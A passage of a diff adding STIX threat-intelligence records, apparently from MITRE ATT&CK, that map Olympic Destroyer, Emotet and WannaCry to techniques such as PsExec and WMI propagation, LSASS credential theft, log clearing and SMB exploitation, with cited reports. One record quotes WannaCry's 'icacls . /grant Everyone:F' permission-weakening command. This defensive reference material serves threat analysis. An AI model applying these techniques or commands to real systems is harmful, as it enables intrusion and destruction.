"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T14:30:39.398Z", + "id": "relationship--97068a5a-faff-4212-a841-c06db163452e", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:59.098Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "source_name": "Symantec MuddyWater Dec 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) attempts to copy itself to remote machines on the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T15:05:23.639Z", + "id": "relationship--7e8101ce-f787-45f7-a593-62b664fbe08d", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-06-30T23:07:53.977Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to enumerate all systems in the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T15:05:23.667Z", + "id": "relationship--c4a8a9ea-c24a-4ddf-9451-5855da9a4251", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-06-30T23:07:53.995Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses API calls to enumerate the infected system's ARP table.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T15:05:23.669Z", + "id": "relationship--039364a9-2afd-4ae5-9df0-08d4e583674f", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-06-30T23:07:54.016Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) will attempt to enumerate mapped network shares to later attempt to wipe all files on those shares.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T15:05:23.682Z", + "id": "relationship--c72b2674-e757-4290-9275-cc08a12713be", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-06-30T23:07:54.030Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses [PsExec](https://attack.mitre.org/software/S0029) to interact with the ADMIN$ network share to execute commands on remote systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T15:05:23.691Z", + "id": "relationship--ddf5cb3a-6cfa-40c8-8992-396329632f14", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-06-30T23:07:54.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "source_name": "PsExec Russinovich", + "description": "Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.", + "url": "http://windowsitpro.com/systems-management/psexec" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) contains a module that tries to obtain stored credentials from web browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T15:05:23.693Z", + "id": "relationship--17d2730a-c2b7-4d58-b22f-921600daccfb", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-06-30T23:07:54.063Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) utilizes [PsExec](https://attack.mitre.org/software/S0029) to help propagate itself across a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T15:05:23.714Z", + "id": "relationship--c992481b-fe93-416d-b8a3-c5ed752c17f4", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-06-30T23:07:54.081Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) contains a module that tries to obtain credentials from LSASS, similar to [Mimikatz](https://attack.mitre.org/software/S0002). These credentials are used with [PsExec](https://attack.mitre.org/software/S0029) and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to help the malware propagate itself across a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T15:05:23.718Z", + "id": "relationship--e998971c-c944-4255-8831-89d49d0e5285", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-06-30T23:07:54.083Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses WMI to help propagate itself across a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T15:05:23.719Z", + "id": "relationship--8e883c7a-3f13-42f6-8cf5-ce373586487e", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-06-30T23:07:54.106Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) overwrites files locally and on remote shares. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T15:05:23.734Z", + "id": "relationship--7767d727-fba8-4b7a-b7fe-137ed9261680", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-06-30T23:07:54.108Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed using a hard coded list of passwords to brute force user accounts. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T18:35:14.682Z", + "id": "relationship--0c76bb94-1a6e-4ec6-9faa-2b444d80002c", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.120Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", + "source_name": "Malwarebytes Emotet Dec 2017", + "url": "https://support.malwarebytes.com/docs/DOC-2295" + }, + { + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "source_name": "Symantec Emotet Jul 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor" + }, + { + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.", + "source_name": "Secureworks Emotet Nov 2018", + "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader" + }, + { + "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.", + "source_name": "CIS Emotet Dec 2018", + "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses an exploit in SMBv1 to spread itself to other remote systems on a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T19:13:54.931Z", + "id": "relationship--0e12dc13-6f73-4ad9-9cb5-845d443b4d58", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.324Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "source_name": "LogRhythm WannaCry", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "source_name": "US-CERT WannaCry 2017", + "description": "US-CERT. (2017, May 12). Alert (TA17-132A): Indicators Associated With WannaCry Ransomware. Retrieved March 25, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-132A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses attrib +h and icacls . /grant Everyone:F /T /C /Q to make some of its files hidden and grant all users full access controls.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T19:13:54.947Z", + "id": "relationship--c49a3d89-c8fa-4c5d-813e-f4495d892d1a", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.397Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "source_name": "LogRhythm WannaCry", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been seen exfiltrating system information stored within cookies sent within an HTTP GET request back to its C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T19:31:02.139Z", + "id": "relationship--5201448e-f009-4c24-abb5-9382383dc42d", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.213Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "source_name": "Trend Micro Emotet Jan 2019", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed leveraging a module that scrapes email data from Outlook.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T19:31:02.184Z", + "id": "relationship--ea023f09-6a7d-445c-a39d-5e57eea2706b", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.216Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.", + "source_name": "CIS Emotet Dec 2018", + "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has obfuscated macros within malicious documents to hide the URLs hosting the malware, CMD.exe arguments, and PowerShell scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T19:31:02.187Z", + "id": "relationship--9f6eef25-7a90-4f74-a788-8022166952f8", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.209Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "source_name": "Talos Emotet Jan 2019", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "source_name": "Trend Micro Emotet Jan 2019", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + }, + { + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + }, + { + "description": "Perez, D.. (2018, December 28). Analysis of the latest Emotet propagation campaign. Retrieved April 16, 2019.", + "source_name": "ESET Emotet Dec 2018", + "url": "https://www.welivesecurity.com/2018/12/28/analysis-latest-emotet-propagation-campaign/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed leveraging a module that retrieves passwords stored on a system for the current logged-on user.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T19:31:02.191Z", + "id": "relationship--09c80e35-2839-4b5b-aad8-8f81db8da551", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.282Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.", + "source_name": "CIS Emotet Dec 2018", + "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed dropping browser and password grabber modules including [Mimikatz](https://attack.mitre.org/software/S0002).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T19:31:02.198Z", + "id": "relationship--a0321bbd-edab-4ee6-be37-979015511e4a", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "source_name": "Trend Micro Emotet Jan 2019", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has used ports 20, 22, 80, 443, 8080, and 8443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T19:31:02.202Z", + "id": "relationship--76431b6e-a40b-4a97-82be-3eed34b4e5cb", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.345Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019.", + "source_name": "CIS Emotet Apr 2017", + "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/" + }, + { + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "source_name": "Talos Emotet Jan 2019", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "source_name": "Trend Micro Emotet Jan 2019", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + }, + { + "source_name": "Carbon Black Emotet Apr 2019", + "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", + "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has used cmd.exe to run a PowerShell script.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T19:31:02.237Z", + "id": "relationship--ee8a0e97-5c23-4e5e-b124-ca75087ae97c", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.351Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) will attempt to clear the System and Security event logs using wevtutil.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T20:04:10.745Z", + "id": "relationship--4d880164-0891-4721-b393-7e3a3bcc0fd9", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "modified": "2019-06-30T23:07:54.127Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) will attempt to determine the local network segment it is a part of.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T13:38:24.526Z", + "id": "relationship--b3c7d447-9b00-4bd6-b0b7-25c0bb56d28a", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.396Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) contains a thread that will attempt to scan for new attached drives every few seconds. If one is identified, it will encrypt the files on the attached device.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T13:38:24.556Z", + "id": "relationship--3f58682a-dc04-40f6-b224-42bab6ef6f67", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.401Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) scans its local network segment for remote systems to try to exploit and copy itself to.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T13:38:24.559Z", + "id": "relationship--7a116d1c-33ab-4729-abff-2e37dc387f31", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.445Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) enumerates current remote desktop sessions and tries to execute the malware on each session.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T13:38:24.564Z", + "id": "relationship--6b22c256-44a9-4b73-8df6-e4da9c32a5a3", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.447Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "source_name": "LogRhythm WannaCry", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) encrypts user files and demands that a ransom be paid in Bitcoin to decrypt those files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T13:38:24.567Z", + "id": "relationship--5c56206f-8ae3-4296-ab89-bc2036b74896", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.394Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "source_name": "LogRhythm WannaCry", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "relationship_type": 